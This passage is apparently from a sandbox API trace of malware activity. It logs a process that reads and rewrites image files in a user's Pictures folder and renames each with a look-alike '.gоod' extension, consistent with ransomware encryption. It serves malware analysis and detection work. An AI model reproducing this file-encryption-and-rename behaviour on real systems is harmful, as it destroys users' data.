ftCreationTime.dwLowDateTime=0x9f0124f0, ftCreationTime.dwHighDateTime=0x1d4ca4a, ftLastAccessTime.dwLowDateTime=0x77dcea80, ftLastAccessTime.dwHighDateTime=0x1d4cb17, ftLastWriteTime.dwLowDateTime=0x77dcea80, ftLastWriteTime.dwHighDateTime=0x1d4cb17, nFileSizeHigh=0x0, nFileSizeLow=0x9e3f)) returned 1 [0158.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0158.785] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\26eTmdX7PXkDqUA.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\26eTmdX7PXkDqUA.bmp", lpFilePart=0x0) returned 0x2c [0158.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0158.785] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\26eTmdX7PXkDqUA.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\26etmdx7pxkdqua.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0158.786] GetFileType (hFile=0x7fc) returned 0x1 [0158.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0158.786] GetFileType (hFile=0x7fc) returned 0x1 [0158.786] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0158.786] ReadFile (in: hFile=0x7fc, lpBuffer=0x3620940, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x3620940*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0158.786] CloseHandle (hObject=0x7fc) returned 1 [0158.786] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\26eTmdX7PXkDqUA.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\26eTmdX7PXkDqUA.bmp", lpFilePart=0x0) returned 0x2c [0158.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0158.786] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\26eTmdX7PXkDqUA.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\26etmdx7pxkdqua.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0158.786] GetFileType (hFile=0x7fc) returned 0x1 [0158.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0158.786] GetFileType (hFile=0x7fc) returned 0x1 [0158.786] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x9e3f [0158.786] WriteFile (in: hFile=0x7fc, lpBuffer=0x3621bb0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x3621bb0*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0158.787] CloseHandle (hObject=0x7fc) returned 1 [0158.787] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\26eTmdX7PXkDqUA.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\26eTmdX7PXkDqUA.bmp", lpFilePart=0x0) returned 0x2c [0158.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0158.787] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\26eTmdX7PXkDqUA.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\26etmdx7pxkdqua.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0158.787] GetFileType (hFile=0x7fc) returned 0x1 [0158.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0158.788] GetFileType (hFile=0x7fc) returned 0x1 [0158.788] ReadFile (in: hFile=0x7fc, lpBuffer=0x3623e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x3623e48*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0159.532] CloseHandle (hObject=0x7fc) returned 1 [0159.532] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\26eTmdX7PXkDqUA.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\26eTmdX7PXkDqUA.bmp", lpFilePart=0x0) returned 0x2c [0159.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0159.532] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\26eTmdX7PXkDqUA.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\26etmdx7pxkdqua.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0159.533] GetFileType (hFile=0x7fc) returned 0x1 [0159.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0159.533] GetFileType (hFile=0x7fc) returned 0x1 [0159.533] WriteFile (in: hFile=0x7fc, lpBuffer=0x3427770*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x3427770*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0159.533] CloseHandle (hObject=0x7fc) returned 1 [0159.533] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\26eTmdX7PXkDqUA.bmp", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\26eTmdX7PXkDqUA.bmp", lpFilePart=0x0) returned 0x2c [0159.533] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\26eTmdX7PXkDqUA.bmp.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\26eTmdX7PXkDqUA.bmp.gоod", lpFilePart=0x0) returned 0x31 [0159.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0159.533] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\26eTmdX7PXkDqUA.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\26etmdx7pxkdqua.bmp"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f0124f0, ftCreationTime.dwHighDateTime=0x1d4ca4a, ftLastAccessTime.dwLowDateTime=0x77dcea80, ftLastAccessTime.dwHighDateTime=0x1d4cb17, ftLastWriteTime.dwLowDateTime=0x5b4cdf26, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9e4f)) returned 1 [0159.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0159.533] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\26eTmdX7PXkDqUA.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\26etmdx7pxkdqua.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\26eTmdX7PXkDqUA.bmp.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\26etmdx7pxkdqua.bmp.gоod")) returned 1 [0159.534] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\2eIrRgfiJT37RVl.jpg", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\2eIrRgfiJT37RVl.jpg", lpFilePart=0x0) returned 0x2c [0159.534] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0159.534] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\2eIrRgfiJT37RVl.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\2eirrgfijt37rvl.jpg"), fInfoLevelId=0x0, lpFileInformation=0x3629aa0 | out: lpFileInformation=0x3629aa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaff4d3a0, ftCreationTime.dwHighDateTime=0x1d4ce6a, ftLastAccessTime.dwLowDateTime=0xf0ce4b40, ftLastAccessTime.dwHighDateTime=0x1d4d40a, ftLastWriteTime.dwLowDateTime=0xf0ce4b40, ftLastWriteTime.dwHighDateTime=0x1d4d40a, nFileSizeHigh=0x0, nFileSizeLow=0x2be5)) returned 1 [0159.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0159.534] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\2eIrRgfiJT37RVl.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\2eIrRgfiJT37RVl.jpg", lpFilePart=0x0) returned 0x2c [0159.534] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0159.534] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\2eIrRgfiJT37RVl.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\2eirrgfijt37rvl.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0159.535] GetFileType (hFile=0x7fc) returned 0x1 [0159.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0159.535] GetFileType (hFile=0x7fc) returned 0x1 [0159.535] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0159.535] ReadFile (in: hFile=0x7fc, lpBuffer=0x3629e68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x3629e68*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0159.535] CloseHandle (hObject=0x7fc) returned 1 [0159.535] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\2eIrRgfiJT37RVl.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\2eIrRgfiJT37RVl.jpg", lpFilePart=0x0) returned 0x2c [0159.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0159.535] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\2eIrRgfiJT37RVl.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\2eirrgfijt37rvl.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0159.535] GetFileType (hFile=0x7fc) returned 0x1 [0159.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0159.535] GetFileType (hFile=0x7fc) returned 0x1 [0159.535] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x2be5 [0159.536] WriteFile (in: hFile=0x7fc, lpBuffer=0x362b0d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x362b0d8*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0159.536] CloseHandle (hObject=0x7fc) returned 1 [0159.536] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\2eIrRgfiJT37RVl.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\2eIrRgfiJT37RVl.jpg", lpFilePart=0x0) returned 0x2c [0159.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0159.536] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\2eIrRgfiJT37RVl.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\2eirrgfijt37rvl.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0159.536] GetFileType (hFile=0x7fc) returned 0x1 [0159.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0159.536] GetFileType (hFile=0x7fc) returned 0x1 [0159.536] ReadFile (in: hFile=0x7fc, lpBuffer=0x362d370, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x362d370*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0159.651] CloseHandle (hObject=0x7fc) returned 1 [0159.651] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\2eIrRgfiJT37RVl.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\2eIrRgfiJT37RVl.jpg", lpFilePart=0x0) returned 0x2c [0159.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0159.651] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\2eIrRgfiJT37RVl.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\2eirrgfijt37rvl.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0159.651] GetFileType (hFile=0x7fc) returned 0x1 [0159.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0159.651] GetFileType (hFile=0x7fc) returned 0x1 [0159.651] WriteFile (in: hFile=0x7fc, lpBuffer=0x345d130*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x345d130*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0159.652] CloseHandle (hObject=0x7fc) returned 1 [0159.652] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\2eIrRgfiJT37RVl.jpg", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\2eIrRgfiJT37RVl.jpg", lpFilePart=0x0) returned 0x2c [0159.652] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\2eIrRgfiJT37RVl.jpg.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\2eIrRgfiJT37RVl.jpg.gоod", lpFilePart=0x0) returned 0x31 [0159.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0159.652] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\2eIrRgfiJT37RVl.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\2eirrgfijt37rvl.jpg"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaff4d3a0, ftCreationTime.dwHighDateTime=0x1d4ce6a, ftLastAccessTime.dwLowDateTime=0xf0ce4b40, ftLastAccessTime.dwHighDateTime=0x1d4d40a, ftLastWriteTime.dwLowDateTime=0x5b5ff428, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2bf5)) returned 1 [0159.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0159.652] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\2eIrRgfiJT37RVl.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\2eirrgfijt37rvl.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\2eIrRgfiJT37RVl.jpg.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\2eirrgfijt37rvl.jpg.gоod")) returned 1 [0159.653] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\3DKcjATLX6s5dyeethZ.bmp", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\3DKcjATLX6s5dyeethZ.bmp", lpFilePart=0x0) returned 0x30 [0159.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0159.653] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\3DKcjATLX6s5dyeethZ.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\3dkcjatlx6s5dyeethz.bmp"), fInfoLevelId=0x0, lpFileInformation=0x34df860 | out: lpFileInformation=0x34df860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7d72080, ftCreationTime.dwHighDateTime=0x1d4d5ab, ftLastAccessTime.dwLowDateTime=0x8be50020, ftLastAccessTime.dwHighDateTime=0x1d4ccfd, ftLastWriteTime.dwLowDateTime=0x8be50020, ftLastWriteTime.dwHighDateTime=0x1d4ccfd, nFileSizeHigh=0x0, nFileSizeLow=0xd2ef)) returned 1 [0159.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0159.653] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\3DKcjATLX6s5dyeethZ.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\3DKcjATLX6s5dyeethZ.bmp", lpFilePart=0x0) returned 0x30 [0159.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0159.653] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\3DKcjATLX6s5dyeethZ.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\3dkcjatlx6s5dyeethz.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0159.653] GetFileType (hFile=0x7fc) returned 0x1 [0159.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0159.653] GetFileType (hFile=0x7fc) returned 0x1 [0159.653] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0159.654] ReadFile (in: hFile=0x7fc, lpBuffer=0x34dfc48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x34dfc48*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0159.654] CloseHandle (hObject=0x7fc) returned 1 [0159.654] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\3DKcjATLX6s5dyeethZ.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\3DKcjATLX6s5dyeethZ.bmp", lpFilePart=0x0) returned 0x30 [0159.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0159.654] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\3DKcjATLX6s5dyeethZ.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\3dkcjatlx6s5dyeethz.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0159.654] GetFileType (hFile=0x7fc) returned 0x1 [0159.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0159.654] GetFileType (hFile=0x7fc) returned 0x1 [0159.654] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0xd2ef [0159.654] WriteFile (in: hFile=0x7fc, lpBuffer=0x34e0ec8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x34e0ec8*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0159.654] CloseHandle (hObject=0x7fc) returned 1 [0159.654] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\3DKcjATLX6s5dyeethZ.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\3DKcjATLX6s5dyeethZ.bmp", lpFilePart=0x0) returned 0x30 [0159.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0159.656] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\3DKcjATLX6s5dyeethZ.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\3dkcjatlx6s5dyeethz.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0159.656] GetFileType (hFile=0x7fc) returned 0x1 [0159.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0159.656] GetFileType (hFile=0x7fc) returned 0x1 [0159.656] ReadFile (in: hFile=0x7fc, lpBuffer=0x34e3170, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x34e3170*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0160.099] CloseHandle (hObject=0x7fc) returned 1 [0160.099] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\3DKcjATLX6s5dyeethZ.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\3DKcjATLX6s5dyeethZ.bmp", lpFilePart=0x0) returned 0x30 [0160.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0160.099] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\3DKcjATLX6s5dyeethZ.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\3dkcjatlx6s5dyeethz.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0160.099] GetFileType (hFile=0x7fc) returned 0x1 [0160.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0160.099] GetFileType (hFile=0x7fc) returned 0x1 [0160.099] WriteFile (in: hFile=0x7fc, lpBuffer=0x3468938*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x3468938*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0160.183] CloseHandle (hObject=0x7fc) returned 1 [0160.215] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\3DKcjATLX6s5dyeethZ.bmp", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\3DKcjATLX6s5dyeethZ.bmp", lpFilePart=0x0) returned 0x30 [0160.215] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\3DKcjATLX6s5dyeethZ.bmp.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\3DKcjATLX6s5dyeethZ.bmp.gоod", lpFilePart=0x0) returned 0x35 [0160.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0160.215] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\3DKcjATLX6s5dyeethZ.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\3dkcjatlx6s5dyeethz.bmp"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7d72080, ftCreationTime.dwHighDateTime=0x1d4d5ab, ftLastAccessTime.dwLowDateTime=0x8be50020, ftLastAccessTime.dwHighDateTime=0x1d4ccfd, ftLastWriteTime.dwLowDateTime=0x5bb102a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd2ff)) returned 1 [0160.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0160.215] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\3DKcjATLX6s5dyeethZ.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\3dkcjatlx6s5dyeethz.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\3DKcjATLX6s5dyeethZ.bmp.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\3dkcjatlx6s5dyeethz.bmp.gоod")) returned 1 [0160.216] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4Br56sTPsy.bmp", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\4Br56sTPsy.bmp", lpFilePart=0x0) returned 0x27 [0160.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0160.216] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4Br56sTPsy.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4br56stpsy.bmp"), fInfoLevelId=0x0, lpFileInformation=0x35b4a38 | out: lpFileInformation=0x35b4a38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2494a100, ftCreationTime.dwHighDateTime=0x1d4c6a9, ftLastAccessTime.dwLowDateTime=0xe387ecf0, ftLastAccessTime.dwHighDateTime=0x1d4d4a7, ftLastWriteTime.dwLowDateTime=0xe387ecf0, ftLastWriteTime.dwHighDateTime=0x1d4d4a7, nFileSizeHigh=0x0, nFileSizeLow=0x1696)) returned 1 [0160.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0160.216] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4Br56sTPsy.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\4Br56sTPsy.bmp", lpFilePart=0x0) returned 0x27 [0160.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0160.216] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4Br56sTPsy.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4br56stpsy.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0160.216] GetFileType (hFile=0x7fc) returned 0x1 [0160.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0160.216] GetFileType (hFile=0x7fc) returned 0x1 [0160.216] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | 